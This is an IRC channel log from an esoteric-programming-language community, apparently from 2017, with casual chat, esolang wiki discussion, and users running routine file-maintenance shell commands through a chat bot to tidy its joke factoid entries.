wizzard is a blizzard wizard. 01:20:14 Learned 'wizzard': A wizzard is a blizzard wizard. 01:23:11 @wn blizzard 01:23:12 *** "blizzard" wn "WordNet (r) 3.0 (2006)" 01:23:12 blizzard 01:23:12 n 1: a storm with widespread snowfall accompanied by strong 01:23:12 winds [syn: {blizzard}, {snowstorm}] 01:23:12 2: a series of unexpected and unpleasant occurrences; "a rash of 01:23:14 bank robberies"; "a blizzard of lawsuits" [syn: {rash}, 01:23:16 {blizzard}] 01:23:28 i guess that fits rincewind. 01:23:55 @message-cloudy 01:23:55 Unknown command, try @list 01:23:58 oops 01:24:04 @messages-cloudy 01:24:04 hppavilion[2] said 18h 5m 53s ago: You should see a doctor if that cough persists 01:24:36 hppavilion[2]: your connection should see a doctor first hth 01:25:01 oerjan: It has. There's nothing he can do :,( 01:25:22 aww 01:27:23 :c 01:27:44 Has it been updated on its malware vaccine, hppavilion[2]? 01:27:51 QUINTHELLOPIA! 01:28:07 bohejly 01:28:09 Chello, hellørjan, hppavellon[2]. 01:28:26 . o O ( should it be Calello? ) 01:28:40 i was wondering who you porthelloed. 01:29:08 Calló, obviously. 01:29:46 Cale 01:29:47 ? cale 01:29:48 cale? ¯\(°​_o)/¯ 01:29:49 ? kale 01:29:50 kale? ¯\(°​_o)/¯ 01:30:01 hm isn't that an actual word? 01:30:57 well it is a noun. And iirc South-Koreans eat a lot of fermented kale. 01:31:09 maybe Calut, then. 01:31:13 Cello 01:32:01 Zarutian: i was not speaking about kale hth 01:32:14 oerjan: just having fermented thoughts about it? 01:32:42 no, i was still continuing my previous blathering. 01:33:07 trying to think of the correct porthello for Cale. 01:33:23 Calo 01:33:34 Cola :P 01:34:26 [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51678&oldid=51672 * Orby * (+785) /* Conjecture counterexample */ 01:35:33 ? vacuum tube 01:35:34 After the London terrorist attacks of 2005, the Underground was completely evacuated. Without air resistance, the trains would go at blazingly fast speeds between the terminals. This is called a vacuum tube. Sadly, current technology doesn't let passengers travel that way. 01:35:42 oerjan: oh, hey! 01:35:52 hellorby! 01:36:07 awesome news finding the counter example to that conjecture 01:36:17 * oerjan doesn't really like terrorism in the wisdom :( 01:36:21 or politics. 01:36:26 orby_: yep! 01:36:39 -!- sleffy has quit (Ping timeout: 260 seconds). 01:36:40 ? politics 01:36:41 Politics: See lies. 01:36:46 ? redstone 01:36:47 redstone? ¯\(°​_o)/¯ 01:37:05 it's stone that's red. 01:37:06 duh. 01:37:06 Though I think there's a small mistake in what you wrote, nothing too important though 01:37:14 also known as electricity without transistors 01:37:15 orby_: hm? 01:37:16 * Zarutian was going to suggest: many ticks for politics. 01:37:18 but then mesecons is that too 01:37:25 maybe i should read your post. 01:37:28 I wrote about it on the talk page, easier to explain there 01:37:31 yeah 01:38:10 I believe it is correctable without invalidating your point 01:38:15 kimchi is good, and I approve of Calló. 01:42:52 ɲe 01:42:54 ɲeh 01:43:29 rdococ: you should learn French. a beautiful language, comes with the /ɲ/ sound! 01:44:45 ooh 01:44:48 ɲ 01:44:59 Actually, I was designing a conlang, but meh. 01:45:10 oerjan: I've got a 3 day weekend coming up. I'm going to write some tools including an interpreter to make writing RBF code easier. 01:45:25 because it's a ridiculous pain in the ass verifying it by hand 01:46:34 sounds ɲice 01:46:36 [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51679&oldid=51678 * Oerjan * (+262) /* Conjecture counterexample */ Disagree 01:46:46 orby_: counterargument hth 01:46:59 unterargument 01:47:05 ? coerce 01:47:06 coerce? ¯\(°​_o)/¯ 01:47:09 ? coersion 01:47:11 coersion? ¯\(°​_o)/¯ 01:47:13 ? coercion 01:47:14 coercion? ¯\(°​_o)/¯ 01:47:16 nvm 01:47:19 ? ercion 01:47:20 ercion? ¯\(°​_o)/¯ 01:47:42 ? cocoa 01:47:43 A is a village in Norway. The BBC invented it by not understanding things on top of letters. 01:48:12 ? w 01:48:13 A w is everything a cow isn't. 01:48:22 ? co 01:48:23 co? ¯\(°​_o)/¯ 01:48:29 dowg cocoa 01:48:37 10621:2017-04-12 le//rn cocoa//A is a village in Norway. The BBC invented it by not understanding things on top of letters. 01:48:50 oerjan: I am still not understanding. I get that the (a)*(b)* pattern ensures that the first a run iff b doesn't, but that's with the caveat that a doesn't shift 01:48:58 it's the opposite of the opposite of A. 01:48:59 get it? 01:49:24 orby_: no, it's with the caveat the A shifts iff it starts on a 1. 01:49:34 rdococ: first lesson: «mon aéroglisseur est plein d'anguilles.» 01:49:54 boily: may I have the zeroth lesson please? 01:50:17 oerjan: oh duh, I see now. So if (a) executes then we know it exits pointing at a 1 specifically because it swaps and then shifts right. 01:50:29 yep. 01:50:31 so the * toggles it to zero and (b) doesn't run 01:50:36 ok, thanks. I get it now :) 01:50:45 -!- erkin has joined. 01:50:52 yay 01:51:51 rdococ: you should learn enough category theory to understand that co- is _not_ simply negation twh 01:52:05 I am aware of that 01:52:43 good, good. 01:53:05 mmmm, category theory 01:53:49 I spent time in the company of an overzealous category theorist who was always trying to get me into it, but to date I've never spent any real time studying it 01:54:07 rdococ: zeroth lesson: «une pinte de rousse, svp!» 01:54:25 hellorkin. 01:54:31 pourquoi non un bon vin blanc 01:54:38 ???//??//////? 01:54:40 # 01:55:19 oerjan: my old Japanese teacher used that one as an example of hard sounds to learn for a Japanese. 01:55:31 (also, «pourquoi pas un bon vin blanc» hth) 01:55:35 darn 01:56:07 also beer tastes better than wine ^^ 01:56:28 oh rousse is beer 01:56:35 i wasn't paying attention. 01:58:44 hm google translate doesn't know this thing. 01:58:55 must be quebecois. 01:59:18 (is richard's red involved? i remember we drank that when i was in ontario.) 01:59:33 (waterloo) 02:00:09 oh it seems to be rickard? 02:00:57 hm i see one-star reviews. 02:02:10 rousse is red. you've got blanche, blonde, ambrée, cuivrée, rousse, brune et noire. 02:02:49 rickard's red is quite good! as a summer beer to go with smoked meat, between two steamed slices of rye bread slathered in prepared mustard... 02:02:52 * boily drools... 02:03:14 that and a side of coleslaw and a crisp pickle. 02:03:58 OKAY 02:04:19 * oerjan was there in october/november, anyway. 02:04:46 although it was still warm by norwegian standards. 02:11:49 -!- hppavilion[2] has quit (Ping timeout: 260 seconds). 02:14:58 -!- Lord_of_Life has joined. 02:28:41 -!- boily has quit (Quit: JINGLE CHICKEN). 02:59:11 -!- iovoid has quit (Ping timeout: 240 seconds). 03:01:31 -!- iovoid has joined. 03:01:31 -!- iovoid has quit (Changing host). 03:01:31 -!- iovoid has joined. 03:06:02 -!- orby_ has quit (Ping timeout: 260 seconds). 03:11:17 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 03:12:20 -!- iovoid has quit (Quit: *). 03:12:30 -!- [io] has joined. 03:12:30 -!- [io] has quit (Changing host). 03:12:30 -!- [io] has joined. 03:16:43 -!- Zarutian has quit (Quit: Zarutian). 03:19:08 ? baby shower 03:19:10 baby shower? ¯\(°​_o)/¯ 03:20:54 o<-< <(weeeee!) 03:21:03 ? portal 03:21:04 portal? ¯\(°​_o)/¯ 03:21:07 ? glados 03:21:09 glados? ¯\(°​_o)/¯ 03:21:13 ? cake 03:21:14 The Enrichment Center is required to remind you that you will be baked, and then there will be cake. 03:22:13 le//rn glados//Hello, and again, welcome to the Aperture Science Computer Aided Internet Relay Chat & Enrichment Center. Please enjoy your stay at #esoteric, because you will never leave. 03:22:15 Learned 'glados': Hello, and again, welcome to the Aperture Science Computer Aided Internet Relay Chat & Enrichment Center. Please enjoy your stay at #esoteric, because you will never leave. 03:22:38 ? portals 03:22:39 portals? ¯\(°​_o)/¯ 03:22:41 ? portal 03:22:43 portal ? ¯\(°​_o)/¯ 03:22:43 ? portal 3 03:22:44 portal 3? ¯\(°​_o)/¯ 03:22:47 ? never 03:22:48 never? ¯\(°​_o)/¯ 03:22:52 ? forever 03:22:53 forever? ¯\(°​_o)/¯ 03:22:55 ... 03:23:00 ? cocake 03:23:01 cocake? ¯\(°​_o)/¯ 03:23:06 le/rn baby shower//Thanks to baby showers, the incidence of baby throwing injuries has greatly diminished. 03:23:09 Learned 'baby shower': Thanks to baby showers, the incidence of baby throwing injuries has greatly diminished. 03:23:36 ? hackego 03:23:37 HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. HackEgo is the slowest bot in all Mexico! 03:23:40 ? fungot 03:23:40 rdococ: they say that a giant owl and a nimble hand, his face and ears and rides in a shop. the streets were broken and the outside observer's linear combination has no relevance. ( battle for the guard. 03:23:41 fungot is our beloved channel mascot and voice of reason. 03:23:53 ? co 03:23:54 co? ¯\(°​_o)/¯ 03:24:01 ... 03:24:02 meh 03:24:06 ? la 03:24:07 la? ¯\(°​_o)/¯ 03:24:16 ? aperture 03:24:18 aperture? ¯\(°​_o)/¯ 03:24:44 le//rn aperture// A usually adjustable opening in an optical instrument, such as a camera or telescope, that limits the amount of light passing through a lens or onto a mirror. 03:24:46 Learned 'aperture': A usually adjustable opening in an optical instrument, such as a camera or telescope, that limits the amount of light passing through a lens or onto a mirror. 03:24:52 le//rn aperture//A usually adjustable opening in an optical instrument, such as a camera or telescope, that limits the amount of light passing through a lens or onto a mirror. 03:24:54 Relearned 'aperture': A usually adjustable opening in an optical instrument, such as a camera or telescope, that limits the amount of light passing through a lens or onto a mirror. 03:25:15 yay the color warning worked 03:25:26 except 03:25:26 ? color warning 03:25:27 color warning? ¯\(°​_o)/¯ 03:25:39 ? rules of wisdom 03:25:40 unless essential for the entry's humor, they should: be understandable without the lookup key, be single spaced with no space at the end, and use proper capitalization and punctuation 03:25:53 please pay attention to the first point hth 03:26:00 k 03:27:00 slwd aperture//s/./An aperture is a/ 03:27:02 aperture//An aperture is a usually adjustable opening in an optical instrument, such as a camera or telescope, that limits the amount of light passing through a lens or onto a mirror. 03:27:21 hm is it countable 03:27:40 yep 03:28:21 also that's a pretty boring wisdom whose only saving grace is that it doesn't refer to portal 03:29:26 forget aperture 03:29:28 Forget what? 03:29:55 ? black hole 03:29:56 black hole? ¯\(°​_o)/¯ 03:36:18 ? 10 03:36:20 10 = 10 in every base 03:36:29 slwd 10//s,,., 03:36:31 10//10 = 10 in every base. 03:45:41 -!- hppavilion[2] has joined. 03:45:46 -!- ChanServ has set channel mode: +o oerjan. 03:46:20 -!- oerjan has set channel mode: -b *!*remavas@*.omni.lt. 03:46:28 -!- oerjan has set channel mode: -o oerjan. 03:55:06 ??? 03:55:08 ????? 03:57:39 ? 03:57:58 ??hm 03:58:07 ?hmph 03:58:07 Unknown command, try @list 03:58:25 ?????hm 03:58:29 ????? hi 03:58:42 i guess it special cases that 04:01:26 -!- sleffy has joined. 04:05:53 @oeis 1.0 2.6382270745053704 6.9602420966531655 18.362699144502407 <-- tip: the "i" is for integer hth 04:10:23  cd wisdom && grep -RlE '[^.!?]' . 04:10:49 ​./6 random numbers \ ./¯\(°_o)/¯ \ ./haskell \ ./scotland \ ./programmer's googol \ ./#programming \ ./mroman_ \ ./hydrogen \ ./wlcom \ ./burma \ ./flabberghast \ ./latex \ ./hand injuries \ ./schwa \ ./wat \ ./math \ ./ehlist \ ./mojibake \ ./otp \ ./@messages-loud \ ./gaspasjo \ ./log \ ./noping \ ./can't \ ./life \ ./adopted \ ./epsilon \ 04:11:34  grwp -lE '[^.!?]' #less verbose 04:11:36 â? \ ? ? \ _ÌÌÌ°_ÌÌ Í­Í­Í¬Ì¦Ì»ÌÍÌÌÍ¡_Í§ÍÌÍÌ­_ÍÍÍÍ§ÍÌÌÌ¯ÍÌ¬Ì¬Ì¦Ì¯_ÌÌÌ Í¨ÌÌ´Í \ Â¯\_(ã)_/Â¯ \ ? \ ?? \ ð \ ð \ áá¿ \ ÌÌÍ­ÌÌÌÍ¦ÌÍÍªÍÌ¾Í¦Í¨Ì¼Í ÍÍÌ®ÍÌ¸Ì³ÌÌ¤ÌÌ¯ÌªÌ¸ÌªÌ±Ì£Ì ÌºÌ¹ÍÌ©ÌÍÍÍÍÌÍÌªÌ®ÌÌÌ£ÍÌªÍ Í¢Í¢ÒÌ¢Ì´_Ì¿ÌÍ£ÌÍ£ÍªÍÍÌÌÍÌÌÍ«ÌÍÌ£ÍÍÍÍÌªÌªÌÌÍÌÌ­Ì»Ì¥Ì«ÌÌ±ÌÍÌ³Ì¦Ì®ÌÌ²Ì¥ÍÒÌ 04:12:09 hm well that's long. 04:12:22 ðkâI 04:13:03 ? mroman_ 04:13:04 mroman_ is probably mroman but you can never be sure. (NSFW) 04:13:14 too many false positives 04:13:21 ? scotland 04:13:23 it's that place where they all wear kilts and chase haggises around whilst warding off the loch ness monster with bagpipes 04:13:40 ? hydrogen 04:13:41 Hydrogen is what stars are made of. There's a conjecture that at the immense pressures inside Jupiter or Saturn, hydrogen might form a superconducting liquid metal. 04:14:15 slwd hydrogen//s, ,, 04:14:17 hydrogen//Hydrogen is what stars are made of. There's a conjecture that at the immense pressures inside Jupiter or Saturn, hydrogen might form a superconducting liquid metal. 04:14:21 before 04:14:28 wisdom/hydrogen//Hydrogen is what stars are made of. There's a conjecture that at the immense pressures inside Jupiter or Saturn, hydrogen might form a superconducting liquid metal. 04:14:53  grwp -l ' ' 04:14:54 ​ᛁᚿ \ ambiguous \ ghoul \ hydra \ if \ math \ o \ potatoes \ pronounceable c \ rhenium \ rules of wisdom \ semmelweis \ wealhtheow 04:15:21 1 \? if 04:15:22 1/1:If you can make one heap of all your winnings / And risk it on one turn of pitch-and-toss, / And lose, and start again at your beginnings / And never breathe a word about your loss: 04:15:32 hm 04:15:45 wc wisdom/if 04:15:46 ​ 1 37 183 wisdom/if 04:16:13 ? semmelweis 04:16:14 Semmelweis saves the life of a hundred thousand birthgiving mothers by popularising This One Simple Trick. Doctors hate him for it. 04:16:46 ? potatoes 04:16:47 You are not allowed to take potatoes to Norway without a special permit. 04:16:59 ? ambiguous 04:17:00 Ambiguous, from Greek 'ἀν-' lack of, and 'βιγός' clarity of meaning, means when something is unclear in its meaning. Antonym: biguous. 04:17:22 ? ghoul 04:17:23 Ghouls are undead that eat BRAINS. So basically, bog standard undead like zombies or wights, but with some fancy back story in the book that nobody reads. 04:17:40 ? hydra 04:17:41 http://www.madore.org/~david/math/hydra0.xhtml , dire: http://www.madore.org/~david/math/hydra.xhtml , theory: http://www.madore.org/~david/weblog/d.2008-03-27.1537.html http://www.madore.org/~david/weblog/d.2008-03-16.1534.ordinaux-et-hydres.html http://math.andrej.com/2008/02/02/the-hydra-game/ https://en.wikipedia.org/wiki/Goodstein%27s_theorem 04:17:54 ? math 04:17:55 Math class is tough! 04:18:01 cwlprits math 04:18:08 b_jonäs 04:18:35 ? mojibake 04:18:36 _ÌÌÌ°_ÌÌÍ­Í­Í¬Ì¦Ì»ÌÍÌÌÍ¡_Í§ÍÌÍÌ­_ÍÍÍÍ§ÍÌÌÌ¯ÍÌ¬Ì¬Ì¦Ì¯_ÌÌÌÍ¨ÌÌ´Í 04:19:05 grwp _Ì Ì Ì°_ÌÌ 04:19:07 No output. 04:19:15 impressive 04:21:08  sed -i 's/ //' grwp -l ' ' | grep -v rules 04:21:09 ​/bin/sed: can't read ᛁᚿ: No such file or directory \ /bin/sed: can't read ambiguous: No such file or directory \ /bin/sed: can't read ghoul: No such file or directory \ /bin/sed: can't read hydra: No such file or directory \ /bin/sed: can't read if: No such file or directory \ /bin/sed: can't read math: No such file or directory \ /bin/sed: 04:21:13 oops 04:21:20  cd wisdom; sed -i 's/ //' grwp -l ' ' | grep -v rules 04:21:24 ​/hackenv/bin/grwp: line 2: cd: wisdom: Not a directory \ /bin/sed: can't read pronounceable: No such file or directory 04:21:35 oops 04:22:31  slwd -l ' ' 04:22:32 usage: sled file//script 04:22:39  grwp -l ' ' 04:22:41 pronounceable c \ rules of wisdom 04:22:57 slwd pronounceable c//s, ,, 04:22:59 pronounceable c//int main open paren close paren open curly printeff open paren double quote pronounceable capital c is the most verbose esoteric language ever comma god help you if you try to code with it comma especially without newlines period double quote close paren semicolon close curly 04:23:06 there. 04:23:56 -!- sleffy has quit (Ping timeout: 252 seconds). 04:24:58 most/all of these are because of b_jonas's client, i think. 04:25:33 cwlprits pronounceable c 04:25:41 oerjän rdocöc 04:25:51 i think that one just got cut off right at the space. 04:30:43 -!- hppavilion[2] has quit (Ping timeout: 260 seconds). 04:32:40 -!- sleffy has joined. 04:38:36 -!- betaveros has joined. 04:40:42 doag bin/? 04:40:50 10629:2017-04-12 sled bin/?//s/lowercase/lowercase2/ \ 10340:2017-02-24 sled bin/?//3s,,\\\\(\\\\|\\\$$, \ 10261:2017-02-15 sled bin/?//11s/^/ / \ 10260:2017-02-15 sled bin/?//10s/^/ /;11ithen cat "$topic1"; \ 10259:2017-02-15 sled bin/?//4,$s/topic1/topic2/;10i elif [ -e " 04:41:00 undo 10629 04:41:02 patching file 'bin/?' 04:42:26  grwp -l '' >tmp/wlist 04:42:27 No output. 04:42:54  cat tmp/wlist | lowercase2 | diff - tmp/wlist 04:42:56 49,50c49,50 \ < å \ < ä \ --- \ > Å \ > Ä \ 904c904 \ < ø \ --- \ > Ø \ 1441c1441 \ < xqelekcthzvbdbqr \ --- \ > XQELEKCTHZVBDBQR 04:43:28 ? å 04:43:29 ​å is the same letter as Å, unless you're HackEgo and don't understand things on top of letters. 04:43:38 ? ä 04:43:39 ​ä? ¯$$°​_o)/¯ 04:43:42 ? ø 04:43:43 ​ø is not going anywhere. 04:43:49 ? Ø 04:43:50 ​ø is not going anywhere. 04:44:01 cat wisdom/Ø 04:44:01 ​Ø escaped due to a sensitive case bug. 04:44:17 ? Å 04:44:18 ​Å _is_ a village in Norway, unless you're the BBC and don't understand things on top of letters. 04:44:34 ? xqelekcthzvbdbqr 04:44:35 xqelekcthzvbdbqr? ¯\(°​_o)/¯ 04:44:53 ? XQELEKCTHZVBDBQR 04:44:54 XQELEKCTHZVBDBQR? ¯\(°​_o)/¯ 04:45:00 cat wisdom/XQELEKCTHZVBDBQR 04:45:00 Who told you this? 04:45:07 ? . o O 04:45:08 ​. o O? ¯\(°​_o)/¯ 04:45:11 ls tmflry 04:45:12 ​^ \ @ \ brainfuck \ c++ \ C++ \ cat \ esolang \ esolangs \ #esoteric \ fs \ hth \ mapole \ mislearn \ mycology \ ntitai \ random number \ tdnh \ the meaning of life \ tomfoolery \ wiki \ wisdom 04:45:32 ?? c++ 04:45:33 C++ is an attempt to improve upon C. The only thing it actually improved was memory management, and it made everything else worse. 04:45:36 ?? C++ 04:45:37 C++ is an attempt to improve upon C. The only thing it actually improved was memory management, and it made everything else worse. 04:45:48 cat tmflry/C++ 04:45:48 C++ is an attempt to improve upon C. The only thing it actually improved was memory management, and it made everything else worse. 04:45:59 cat bin/?? 04:46:00 if [ -z "1" ];then exec echo "I have nothing to tell you.";fi;f="tmflry/(echo "1" | lowercase)";if [ -h "f" ];then exec tomfoolery readlink "f" | sed 's/^tmflry\///';fi;if [ -x "f" ];then exec bash "f";fi;if [ -r "f" ];then exec cat "f";fi;echo "I must confess, I know not of what you are speaking." 04:46:10 ?? 04:46:10 I have nothing to tell you. 04:46:18 ?? lsadfplf 04:46:19 I must confess, I know not of what you are speaking. 04:46:38 ? @ 04:46:39 ​@ is an OS made out of only the finest vapour. 04:47:03  cd wisdom; mv {Ä,ä}; mv '{Å,å}' 04:47:05 mv: missing destination file operand after ‘{Å,å}’ \ Try 'mv --help' for more information. 04:47:18 ? asdf 04:47:19 asdf? ¯\(°​_o)/¯ 04:47:19  cd wisdom; mv {Å,å} 04:47:21 No output. 04:47:22 ? qwerty 04:47:23 qwerty? ¯\(°​_o)/¯ 04:47:25 meh 04:47:27 nehy 04:47:29 ɲ 04:47:37  mv bin/lowercase{2,} 04:47:39 No output. 04:47:47 ? Å 04:47:48 ​Å _is_ a village in Norway, unless you're the BBC and don't understand things on top of letters. 04:49:02 the only thing destroyed was wisdom/å, which ironically no longer applies with this. 04:49:30  grep -l lowercase bin 04:49:31 grep: bin: Is a directory 04:49:38  grep -lR lowercase bin 04:49:50 bin/learn \ bin/learn_append2 \ bin/mislearn \ bin/slashlearn \ bin/learn_append \ bin/multicode \ bin/? \ bin/?? \ bin/gs2.py \ bin/bookofeso \ bin/tomfoolery \ bin/password \ bin/disce \ bin/units 04:50:00  grep -lR lowercase2 bin 04:50:01 No output. 04:50:44  grep lowercase bin/multicode 04:50:45 ​ proplist = ['codepoint', 'name', 'category', 'combining', 'bidi', 'decomposition', 'dummy', 'digit_value', 'numeric_value', 'mirrored', 'unicode1name', 'iso_comment', 'uppercase', 'lowercase', 'titlecase'] \ if properties['lowercase']: \ properties['lowercase'] = unichr(int(properties['lowercase'], 16)) \ prop 04:51:10 ls esobible 04:51:11 gen_sys_1.0-1:0 \ gen_sys_1.0-1:1 \ gen_sys_1.0-1:2 \ gen_sys_1.0-1:2.5 \ gen_sys_1.0-1:3 \ gen_sys_1.0-1:4 \ gen_sys_1.0-1:5 04:51:43 file bin/password 04:51:44 bin/password: Python script, ASCII text executable 04:52:04 file bin/units 04:52:05 bin/units: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.15, BuildID[sha1]=1ae1845559f9c796d5b1f3ba5fc7bcfe3a25ee6c, not stripped 04:52:18 grep lowercase bin/password 04:52:29 wat 04:52:48 No output. 04:52:59 grep lowercase bin/password 04:53:08 oh hm 04:53:17  ls -l bin/password 04:53:18 ​-rwxr-xr-x 1 5000 0 121 Oct 28 18:37 bin/password 04:53:29 oh duh 04:53:30 No output. 04:53:42  grep lowercase bin/password 04:53:42 print "".join(random.choice(string.ascii_lowercase) for _ in xrange(15)) 05:02:32 ? pe 05:02:33 To pe, is to not cope. 05:02:37 forget pe 05:02:38 Forget what? 05:07:46 forget ke 05:07:48 Forget what? 05:19:25 cd .. 05:19:26 ​invalid command ( ͡° ͜ʖ ͡°) 05:22:52 ls /usr 05:22:53 bin \ games \ include \ lib \ local \ sbin \ share \ src 05:22:58 ls /usr/games 05:22:58 fortune 06:40:08 -!- sleffy has quit (Ping timeout: 240 seconds). 06:41:25 ?? tmflry 06:41:26 I must confess, I know not of what you are speaking. 06:41:48 ?? tomfoolery 06:41:48 tomfoolery is wisdom 06:41:58 ?? wisdom 06:41:59 wisdom is tomfoolery 06:44:31 -!- hppavilion[2] has joined. 06:46:25 ... 06:46:37 TIL Lie Algebras are *not* algebras that speak falsehoods 06:47:08 Or, more accurately, I learned that it's /liː/ ("lee"), not /laɪ/ ("Lie") 06:49:02 skjøkking 06:52:53 -!- FreeFull has quit. 06:53:13 -!- hppavilion[2] has quit (Ping timeout: 240 seconds). 07:20:43 -!- MoALTz has joined. 07:41:26 I've heard that modern physics is heavily based on lies 08:01:16 -!- AnotherTest has joined. 08:29:29 -!- MoALTz has quit (Quit: Leaving). 08:37:28 -!- AnotherTest has quit (Ping timeout: 255 seconds). 08:52:44 -!- Sgeo has quit (Ping timeout: 245 seconds). 08:53:32 -!- Sgeo has joined. 08:57:41 -!- oerjan has quit (Quit: Nite). 09:02:00 -!- MoALTz has joined. 09:02:13 -!- Bowserinator has quit (Ping timeout: 240 seconds). 10:47:33 -!- AnotherTest has joined. 10:51:36 -!- AnotherTest has quit (Ping timeout: 240 seconds). 11:53:59 oerjan: not a client issue. I type a space at the end of wisdoms that are full sentences because it's part of double-spacing sentences. 11:54:03 -!- augur has joined. 11:55:25 Or maybe it's not double spacing, but that I always want to put a space between words. It's like trailing comma in lists or something. 11:55:42 And I have nothing to do with pronounceable c 12:00:49 -!- augur has quit (Remote host closed the connection). 12:21:04 [wiki] [[But Is It Art?]] https://esolangs.org/w/index.php?diff=51680&oldid=51674 * Int-e * (+807) /* Example */ add a candidate program for recognizing composite numbers 12:27:41 [wiki] [[But Is It Art?]] M https://esolangs.org/w/index.php?diff=51681&oldid=51680 * Int-e * (+30) /* Example */ actually use nybbles 12:29:17 [wiki] [[But Is It Art?]] M https://esolangs.org/w/index.php?diff=51682&oldid=51681 * Int-e * (-3) /* Example */ consistency 13:05:07 -!- AnotherTest has joined. 13:06:13 -!- augur has joined. 13:11:07 -!- augur has quit (Ping timeout: 260 seconds). 13:16:16 -!- AnotherTest has quit (Ping timeout: 240 seconds). 13:22:01 -!- augur has joined. 13:26:43 -!- augur has quit (Ping timeout: 260 seconds). 13:29:41 -!- ais523 has joined. 14:06:43 -!- ais523 has quit (Remote host closed the connection). 14:07:53 -!- ais523 has joined. 14:10:22 -!- augur has joined. 14:14:59 -!- augur has quit (Ping timeout: 260 seconds). 14:39:23 -!- augur has joined. 14:41:21 -!- ais523 has quit (Remote host closed the connection). 14:42:30 -!- ais523 has joined. 14:43:21 -!- augur has quit (Ping timeout: 240 seconds). 14:53:12 -!- Bowserinator has joined. 14:53:51 -!- Bowserinator has quit (Changing host). 14:53:51 -!- Bowserinator has joined. 15:00:49 -!- augur has joined. 15:06:37 -!- augur has quit (Ping timeout: 260 seconds). 15:17:13 -!- augur has joined. 15:17:35 -!- ^_^v has joined. 15:18:46 -!- ^_^v has quit (Client Quit). 15:18:56 -!- ^_^v has joined. 15:42:58 -!- erkin has joined. 15:55:47 -!- kiki has quit (Quit: Connection closed for inactivity). 15:58:31 -!- scotprice has joined. 15:58:43 -!- scotprice has quit (Client Quit). 16:04:21 -!- staffehn_ has joined. 16:06:11 -!- keemyb has quit (Ping timeout: 240 seconds). 16:06:24 -!- int-e_ has joined. 16:09:40 -!- IRIXUser has joined. 16:09:44 -!- Lymee has joined. 16:10:04 -!- IRIXUser has changed nick to Guest70016. 16:10:36 -!- Melvar has joined. 16:10:54 -!- Melvar has quit (*.net *.split). 16:10:55 -!- sparr has quit (*.net *.split). 16:10:56 -!- Lymia has quit (*.net *.split). 16:10:56 -!- incomprehensibly has quit (*.net *.split). 16:10:56 -!- JX7P has quit (*.net *.split). 16:10:56 -!- int-e has quit (*.net *.split). 16:10:56 -!- puckipedia has quit (*.net *.split). 16:10:57 -!- zgrepc has quit (*.net *.split). 16:10:57 -!- staffehn has quit (*.net *.split). 16:11:25 -!- Lymee has changed nick to Lymia. 16:11:30 -!- puckipedia has joined. 16:12:41 -!- sparr has joined. 16:14:17 -!- AnotherTest has joined. 16:14:24 -!- incomprehensibly has joined. 16:15:44 -!- Guest70016 has quit (Changing host). 16:15:44 -!- Guest70016 has joined. 16:15:49 -!- Guest70016 has changed nick to JX7P. 16:19:07 hi 16:19:24 did you figure out if it's art yet? 16:19:50 -!- zgrepc has joined. 16:20:03 rdococ: I'm not sure 16:20:09 it *is* fairly beautiful as esolangs go 16:22:21 better than any crap I can concoct 16:23:10 I like to think that the language is, itself, trying to form art from the input, too 16:23:18 under the assumption that art is usually rectangular 16:23:23 (which is true for many art galleries but not all) 16:26:36 honestly it looks like tetris 16:28:01 I've been pondering how to write an interpreter 16:28:10 and in particular, how much optimization I should attempt 16:28:17 a brute-force-ish interpreter is fairly easy to write but would be very slow 16:31:21 ais523: it all depends on what programs people write for it. if they eg. compile C programs to deterministic cellular automaton to art with simple square tiles, you could optimize for that. 16:31:51 If instead people use nondeterminism all the time to simplify algorithms even for problems where a fast deterministic algorithm is known, then you're screwed. 16:32:22 But most likely, people won't write any programs for art at all, and it remains a nice theoretical construct that doesn't need an interpreter. 16:33:56 PPCG have been complaining about me not writing interpreters for my languages 16:40:43 ais523: but isn't that for... somewhat practical languages only? 16:40:55 nah 16:41:00 think about polyglots, for example 16:41:21 BIIA? slots into a polyglot really easily because it's fairly easy to ensure that the "rest" of the program is all one big tile 16:41:37 and the tiles that are actually used for the BIIA program can be placed anywhere 16:41:54 I mean, if you submit an answer to a PPCG challenge with code written in a language, then they can complain that they need an interpreter. But you haven't been submitting feather golfs, right? 16:43:18 b_jonas: PPCG doesn't let you submit an answer to a challenge /at all/ unless there's an interpreter; and the answer doesn't count as valid unless the interpreter is older than the challenge 16:43:20 ais523: well yes, but I'm not sure if adding a language into a polyglot really makes the polyglot better or more interesting if it's not a language that's used often for other purposes anyway. 16:44:04 have you not seen our polyglot? 16:44:30 ais523: which one? 16:44:51 we're still working on it, but here's a clear milestone: https://codegolf.stackexchange.com/a/113426/62131 16:45:03 https://codegolf.stackexchange.com/questions/102370/add-a-language-to-a-polyglot ? 16:45:29 yep 16:46:50 we have a lot of practical languages in there /and/ a lot of esolangs 16:47:03 yeah... that's a bit extreme 16:47:32 Referral links on stackoverflow are scow. 16:48:08 * shapr SCOWls 16:51:15 I'm used to using them for links from SE to itself, because everyone knows my username anyway 16:51:24 and editing out the referral portion is a pain 16:51:29 it's not like the referral even really /does/ anything 16:56:40 * shapr sets sail in a scow 17:06:20 -!- Zarutian has joined. 17:08:00 ais523: sure it does. it gets you badges. 17:08:25 you can only get them once IIRC; also they don't do anything either 17:09:26 ais523: you can get it in multiples, even on the same site. and it's three different level of badges. 17:09:31 and sure, the badges don't do anything. 17:10:12 you could even get one for someone else if you put their userid in a link. it's not like SE puts a HMAC or something in the url to check validity. 17:19:36 -!- moony has joined. 17:19:50 I wonder how factorio combinators would be represented as a programming language 17:22:08 -!- hppavilion[2] has joined. 17:23:24 -!- augur has quit (Remote host closed the connection). 17:27:51 the Esoteric Game Jam: create a Turing Complete game in 1 week 17:28:08 -!- FreeFull has joined. 17:28:12 heh 17:29:13 yay for lambda calculus 17:29:16 -!- hppavilion[2] has quit (Ping timeout: 240 seconds). 17:29:35 you know, I once tried to turn brainfuck into lambda calculus 17:29:37 didn't work 17:29:54 tbh I think it would be better off in a stack-based language 17:31:32 -!- staffehn has joined. 17:32:17 -!- staffehn_ has quit (Read error: Connection reset by peer). 17:32:19 -!- deltab has quit (Ping timeout: 252 seconds). 17:32:19 -!- erdic has quit (Ping timeout: 252 seconds). 17:32:26 -!- nycs has joined. 